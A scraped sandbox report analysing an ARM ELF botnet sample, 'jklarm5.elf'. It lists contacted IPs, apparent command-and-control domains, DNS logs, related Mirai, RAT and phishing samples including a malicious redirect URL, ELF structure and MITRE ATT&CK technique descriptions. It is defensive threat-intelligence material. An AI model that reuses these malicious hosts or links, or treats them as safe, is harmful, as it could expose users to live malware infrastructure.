210.100.89.45	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
26.124.229.32	unknown	United States	7922	COMCAST-7922US	false
9.78.182.165	unknown	United States	3356	LEVEL3US	false
88.223.250.191	unknown	Lithuania	24852	VINITALT	false
22.16.252.167	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
29.106.110.181	unknown	United States	7922	COMCAST-7922US	false
4.28.119.140	unknown	United States	3356	LEVEL3US	false
214.192.160.131	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
115.139.132.172	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
76.68.242.231	unknown	Canada	577	BACOMCA	false
179.143.103.220	unknown	Brazil	53037	NEXTELTELECOMUNICACOESLTDABR	false
139.120.188.115	unknown	Norway	5619	EVRY-NO	false
99.179.247.135	unknown	United States	7018	ATT-INTERNET4US	false
140.221.51.107	unknown	United States	683	ARGONNE-ASUS	false
43.244.60.111	unknown	Japan	10013	FBDCFreeBitCoLtdJP	false
122.70.61.82	unknown	China	24138	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
103.31.207.148	unknown	Indonesia	131754	IDNIC-UNMUL-AS-IDUniversitasMulawarmanID	false
203.255.172.102	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
186.223.58.122	na.elf	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ohlookthereismyboats.geek	nklarm7.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	nabarm5.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	zerarm.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	splmips.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	jklmpsl.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	jklmips.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	arm.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	jklarm7.elf	Get hash	malicious	Unknown	Browse	193.143.1.116
	jklsh4.elf	Get hash	malicious	Unknown	Browse	159.89.101.70
	arm5.elf	Get hash	malicious	Unknown	Browse	64.227.79.152

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	VM Transcript Caller Left (2) CALL-MSG (010758Secs) 0dca046e198529fd52f5c8ffd061f84a.msg	Get hash	malicious	Unknown	Browse	52.109.76.243
	https://oncontact.nercon.com/crm10/api/public/runworkflow?workflow=ClickThru&profile=nercon&activityid=https://gamma.app/docs/SharePoint-File-Received-lb8vste5j00wp3ymode=doc&drivingentityid=O7YVGH9H2E&entityname=Contact&contactid=O7YVGH9H2E&includecrmkeys=True&eventcode=CLICKSITE&redirecturl=https://gamma.app/docs/SharePoint-File-Received-lb8vste5j00wp3y	Get hash	malicious	Unknown	Browse	13.107.42.14
	nklarm7.elf	Get hash	malicious	Unknown	Browse	13.69.239.225
	nabarm5.elf	Get hash	malicious	Unknown	Browse	20.119.93.174
	kpdf.pdf.exe	Get hash	malicious	AsyncRAT, KeyLogger, StormKitty, VenomRAT	Browse	20.42.183.33
	resgod.ppc.elf	Get hash	malicious	Mirai	Browse	20.89.128.165
	Open-Bonida Unterlagen Schweiz.pdf.lnk	Get hash	malicious	GuLoader	Browse	20.42.182.106
	Message.eml	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	52.109.76.144
	k86m.elf	Get hash	malicious	Mirai	Browse	13.69.220.92
	https://vardhadevelco.com/365confirmation.php	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.253.72
T-MOBILE-AS21928US	k86m.elf	Get hash	malicious	Mirai	Browse	100.222.81.7
	hoho.spc.elf	Get hash	malicious	Unknown	Browse	100.213.203.224
	hoho.arm7.elf	Get hash	malicious	Mirai	Browse	172.32.220.93
	hoho.mpsl.elf	Get hash	malicious	Unknown	Browse	172.55.173.76
	hoho.ppc.elf	Get hash	malicious	Unknown	Browse	100.169.210.159
	hoho.x86.elf	Get hash	malicious	Mirai	Browse	100.157.62.165
	hoho.mips.elf	Get hash	malicious	Unknown	Browse	162.164.129.255
	huawei.elf	Get hash	malicious	Mirai	Browse	100.202.155.126
	ssh.arm.elf	Get hash	malicious	Mirai	Browse	100.172.187.183
	hgfs.mpsl.elf	Get hash	malicious	Unknown	Browse	100.225.183.171
COMCAST-7922US	nklarm7.elf	Get hash	malicious	Unknown	Browse	174.160.43.171
	nabarm5.elf	Get hash	malicious	Unknown	Browse	26.181.152.240
	resgod.ppc.elf	Get hash	malicious	Mirai	Browse	76.23.198.226
	resgod.arm5.elf	Get hash	malicious	Mirai	Browse	73.214.223.131
	k86m.elf	Get hash	malicious	Mirai	Browse	73.10.112.26
	resgod.x86.elf	Get hash	malicious	Mirai	Browse	73.26.129.34
	resgod.x86.elf	Get hash	malicious	Mirai	Browse	76.26.192.135
	hoho.spc.elf	Get hash	malicious	Unknown	Browse	96.129.174.191
	hoho.arm7.elf	Get hash	malicious	Mirai	Browse	173.12.201.237
	hoho.mpsl.elf	Get hash	malicious	Unknown	Browse	71.235.175.156
VNPT-AS-VNVNPTCorpVN	resgod.mips.elf	Get hash	malicious	Mirai	Browse	123.17.251.200
	k86m.elf	Get hash	malicious	Mirai	Browse	222.254.179.118
	resgod.x86.elf	Get hash	malicious	Mirai	Browse	113.189.219.254
	hoho.m68k.elf	Get hash	malicious	Unknown	Browse	14.241.252.213
	hoho.ppc.elf	Get hash	malicious	Unknown	Browse	14.184.247.101
	hoho.mips.elf	Get hash	malicious	Unknown	Browse	113.178.195.47
	resgod.x86.elf	Get hash	malicious	Mirai	Browse	123.30.215.231
	ssh.mpsl.elf	Get hash	malicious	Mirai	Browse	14.171.58.197
	ssh.arm7.elf	Get hash	malicious	Mirai	Browse	14.165.185.17
	x86.elf	Get hash	malicious	Unknown	Browse	14.167.73.16

Process:	/tmp/jklarm5.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	3.1626805271986527
Encrypted:	false
SSDEEP:	3:FVEtIX9FQWUT+cF/VVp3FQWUT+KiXvVl/VVdf/FVLADsVHI1v/VVdf/FVWAfDDXH:uIg28/VW2nXNl/VjmsVot/VOArB/VH
MD5:	ECCFD9E32BC47B85EED7033E8FFFB80A
SHA1:	28BE754DE7C9C0887750F8458AA5FE2C8FCFD70D
SHA-256:	4FA20CF0EC24A983CA3378FF20AF03292061128FAFBBCED9BE6F539F557E8D07
SHA-512:	576903BBC4ED3192DFB3701C59CE9AC681EE3EE37C98537A5038C3896D468DF9A97F103056BB1BF5F33DA44DDBCBB348DE6C63C28E136F074D86ED3A7BD1A3EF
Malicious:	false
Reputation:	low
Preview:	8000-17000 r-xp 00000000 fd:00 531601 /tmp/..1f000-20000 rw-p 0000f000 fd:00 531601 /tmp/..20000-22000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.056629291213999
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	jklarm5.elf
File size:	62'396 bytes
MD5:	634ed3b7c6aaf8ce74f2868395f8a8d8
SHA1:	47348232f0c94a16922ef7d3fadc4007e358fff7
SHA256:	4775c08ff5efda5d3b2f7183d823668a60b0e38329f5de4551e97814383757db
SHA512:	0bbc05347ca0cd19acd97e2c0c20f057ccabfa9d3d119f3832a4f0a6938d1b43c4e0db447426a937038e03ccd4f23156e19d3058e397db212e9fe113893bfaee
SSDEEP:	1536:A3MZd4HW0Pb5c48us01mnkSARvqUXPbbBR:A3MZmQusyJSARCUXPb
TLSH:	C3530986B892DA53C1D452BBFA5F82DD332223E8D2DF3207DD116F553A8A81B0D7B641
File Content Preview:	.ELF...a..........(.........4...........4. ...(.....................&...&...............................D...........Q.td..................................-...L."....7..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x2
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	61956
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xdf10	0x0	0x6	AX	16
.fini	PROGBITS	0x15fc0	0xdfc0	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x15fd4	0xdfd4	0xf52	0x0	0x2	A	4
.ctors	PROGBITS	0x1f000	0xf000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1f008	0xf008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1f010	0xf010	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1f014	0xf014	0x1ac	0x0	0x3	WA	4
.bss	NOBITS	0x1f1c0	0xf1c0	0x1284	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xf1c0	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xef26	0xef26	6.0960	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xf000	0x1f000	0x1f000	0x1c0	0x1444	2.2904	0x6	RW	0x8000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 19, 2025 19:33:03.130001068 CET	192.168.2.13	51.158.108.203	0x6c6a	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:33:14.391475916 CET	192.168.2.13	81.169.136.222	0xfa94	Standard query (0)	watchmepull.dyn. [malformed]	256	490	false
Mar 19, 2025 19:33:14.421998978 CET	192.168.2.13	81.169.136.222	0xfa94	Standard query (0)	watchmepull.dyn. [malformed]	256	490	false
Mar 19, 2025 19:33:14.452179909 CET	192.168.2.13	81.169.136.222	0xfa94	Standard query (0)	watchmepull.dyn. [malformed]	256	490	false
Mar 19, 2025 19:33:14.482307911 CET	192.168.2.13	81.169.136.222	0xfa94	Standard query (0)	watchmepull.dyn. [malformed]	256	490	false
Mar 19, 2025 19:33:14.512077093 CET	192.168.2.13	81.169.136.222	0xfa94	Standard query (0)	watchmepull.dyn. [malformed]	256	490	false
Mar 19, 2025 19:33:26.165817022 CET	192.168.2.13	185.181.61.24	0x934	Standard query (0)	watchmepull.dyn. [malformed]	256	502	false
Mar 19, 2025 19:33:26.203176022 CET	192.168.2.13	185.181.61.24	0x934	Standard query (0)	watchmepull.dyn. [malformed]	256	502	false
Mar 19, 2025 19:33:26.239782095 CET	192.168.2.13	185.181.61.24	0x934	Standard query (0)	watchmepull.dyn. [malformed]	256	502	false
Mar 19, 2025 19:33:26.276202917 CET	192.168.2.13	185.181.61.24	0x934	Standard query (0)	watchmepull.dyn. [malformed]	256	502	false
Mar 19, 2025 19:33:26.313002110 CET	192.168.2.13	185.181.61.24	0x934	Standard query (0)	watchmepull.dyn. [malformed]	256	502	false
Mar 19, 2025 19:33:37.997267962 CET	192.168.2.13	185.181.61.24	0x4342	Standard query (0)	watchmepull.dyn. [malformed]	256	258	false
Mar 19, 2025 19:33:38.034852028 CET	192.168.2.13	185.181.61.24	0x4342	Standard query (0)	watchmepull.dyn. [malformed]	256	258	false
Mar 19, 2025 19:33:38.071235895 CET	192.168.2.13	185.181.61.24	0x4342	Standard query (0)	watchmepull.dyn. [malformed]	256	258	false
Mar 19, 2025 19:33:38.108578920 CET	192.168.2.13	185.181.61.24	0x4342	Standard query (0)	watchmepull.dyn. [malformed]	256	258	false
Mar 19, 2025 19:33:38.144975901 CET	192.168.2.13	185.181.61.24	0x4342	Standard query (0)	watchmepull.dyn. [malformed]	256	258	false
Mar 19, 2025 19:33:49.810568094 CET	192.168.2.13	51.158.108.203	0xede9	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:34:01.417491913 CET	192.168.2.13	202.61.197.122	0x667a	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:34:12.983338118 CET	192.168.2.13	202.61.197.122	0xc2d2	Standard query (0)	watchmepull.dyn. [malformed]	256	293	false
Mar 19, 2025 19:34:13.002526999 CET	192.168.2.13	202.61.197.122	0xc2d2	Standard query (0)	watchmepull.dyn. [malformed]	256	293	false
Mar 19, 2025 19:34:13.022233009 CET	192.168.2.13	202.61.197.122	0xc2d2	Standard query (0)	watchmepull.dyn. [malformed]	256	293	false
Mar 19, 2025 19:34:13.040457010 CET	192.168.2.13	202.61.197.122	0xc2d2	Standard query (0)	watchmepull.dyn. [malformed]	256	293	false
Mar 19, 2025 19:34:13.060007095 CET	192.168.2.13	202.61.197.122	0xc2d2	Standard query (0)	watchmepull.dyn. [malformed]	256	293	false
Mar 19, 2025 19:34:24.286354065 CET	192.168.2.13	81.169.136.222	0xf3d7	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:34:35.964423895 CET	192.168.2.13	81.169.136.222	0x4051	Standard query (0)	watchmepull.dyn. [malformed]	256	315	false
Mar 19, 2025 19:34:35.995187044 CET	192.168.2.13	81.169.136.222	0x4051	Standard query (0)	watchmepull.dyn. [malformed]	256	316	false
Mar 19, 2025 19:34:36.025939941 CET	192.168.2.13	81.169.136.222	0x4051	Standard query (0)	watchmepull.dyn. [malformed]	256	316	false
Mar 19, 2025 19:34:36.056642056 CET	192.168.2.13	81.169.136.222	0x4051	Standard query (0)	watchmepull.dyn. [malformed]	256	316	false
Mar 19, 2025 19:34:36.087630033 CET	192.168.2.13	81.169.136.222	0x4051	Standard query (0)	watchmepull.dyn. [malformed]	256	316	false
Mar 19, 2025 19:34:47.772488117 CET	192.168.2.13	81.169.136.222	0xd60e	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:34:59.425056934 CET	192.168.2.13	202.61.197.122	0xa66b	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Mar 19, 2025 19:33:03.145220995 CET	51.158.108.203	192.168.2.13	0x6c6a	No error (0)	ohlookthereismyboats.geek	104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:33:03.145220995 CET	51.158.108.203	192.168.2.13	0x6c6a	No error (0)	ohlookthereismyboats.geek	185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:33:03.145220995 CET	51.158.108.203	192.168.2.13	0x6c6a	No error (0)	ohlookthereismyboats.geek	45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:33:49.826134920 CET	51.158.108.203	192.168.2.13	0xede9	No error (0)	ohlookthereismyboats.geek	45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:33:49.826134920 CET	51.158.108.203	192.168.2.13	0xede9	No error (0)	ohlookthereismyboats.geek	104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:33:49.826134920 CET	51.158.108.203	192.168.2.13	0xede9	No error (0)	ohlookthereismyboats.geek	185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:34:01.434797049 CET	202.61.197.122	192.168.2.13	0x667a	No error (0)	ohlookthereismyboats.geek	104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:34:01.434797049 CET	202.61.197.122	192.168.2.13	0x667a	No error (0)	ohlookthereismyboats.geek	185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:34:01.434797049 CET	202.61.197.122	192.168.2.13	0x667a	No error (0)	ohlookthereismyboats.geek	45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:34:24.316555977 CET	81.169.136.222	192.168.2.13	0xf3d7	No error (0)	ohlookthereismyboats.geek	185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:34:24.316555977 CET	81.169.136.222	192.168.2.13	0xf3d7	No error (0)	ohlookthereismyboats.geek	45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:34:24.316555977 CET	81.169.136.222	192.168.2.13	0xf3d7	No error (0)	ohlookthereismyboats.geek	104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:34:47.802248001 CET	81.169.136.222	192.168.2.13	0xd60e	No error (0)	ohlookthereismyboats.geek	185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:34:47.802248001 CET	81.169.136.222	192.168.2.13	0xd60e	No error (0)	ohlookthereismyboats.geek	104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:34:47.802248001 CET	81.169.136.222	192.168.2.13	0xd60e	No error (0)	ohlookthereismyboats.geek	45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:34:59.442914009 CET	202.61.197.122	192.168.2.13	0xa66b	No error (0)	ohlookthereismyboats.geek	185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:34:59.442914009 CET	202.61.197.122	192.168.2.13	0xa66b	No error (0)	ohlookthereismyboats.geek	104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 19:34:59.442914009 CET	202.61.197.122	192.168.2.13	0xa66b	No error (0)	ohlookthereismyboats.geek	45.147.251.145	A (IP address)	IN (0x0001)	false

Start time (UTC):	18:33:00
Start date (UTC):	19/03/2025
Path:	/tmp/jklarm5.elf
Arguments:	/tmp/jklarm5.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	18:33:01
Start date (UTC):	19/03/2025
Path:	/tmp/jklarm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	18:33:02
Start date (UTC):	19/03/2025
Path:	/tmp/jklarm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report jklarm5.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0xD3U4 (deleted)

/tmp/qemu-open.21MG05 (deleted)

/tmp/qemu-open.2ItpB1 (deleted)

/tmp/qemu-open.2YlmJ4 (deleted)

/tmp/qemu-open.2gk8A5 (deleted)

/tmp/qemu-open.3nZyI3 (deleted)

/tmp/qemu-open.40U7d4 (deleted)

/tmp/qemu-open.48VAI2 (deleted)

/tmp/qemu-open.4FH1z3 (deleted)

/tmp/qemu-open.4PAt51 (deleted)

/tmp/qemu-open.4TU575 (deleted)

/tmp/qemu-open.4UZ4s5 (deleted)

/tmp/qemu-open.5DnyP4 (deleted)

/tmp/qemu-open.6CPE94 (deleted)

/tmp/qemu-open.6WrWw3 (deleted)

/tmp/qemu-open.6ZSpx2 (deleted)

/tmp/qemu-open.6hAiJ1 (deleted)

/tmp/qemu-open.7ATPA3 (deleted)

/tmp/qemu-open.7HfwM3 (deleted)

/tmp/qemu-open.7lnFG3 (deleted)

/tmp/qemu-open.9bxHi4 (deleted)

/tmp/qemu-open.A3cJh4 (deleted)

/tmp/qemu-open.A8wt01 (deleted)

/tmp/qemu-open.AG9fn3 (deleted)

/tmp/qemu-open.AGDiB1 (deleted)

/tmp/qemu-open.BGBuV2 (deleted)

/tmp/qemu-open.BMP0V4 (deleted)

/tmp/qemu-open.BnWxt3 (deleted)

/tmp/qemu-open.C1ouo4 (deleted)

/tmp/qemu-open.Ci96R1 (deleted)

/tmp/qemu-open.CoRnf3 (deleted)

/tmp/qemu-open.D3zGv4 (deleted)

/tmp/qemu-open.D5wvB1 (deleted)

/tmp/qemu-open.DD0eY4 (deleted)

Linux Analysis Report
jklarm5.elf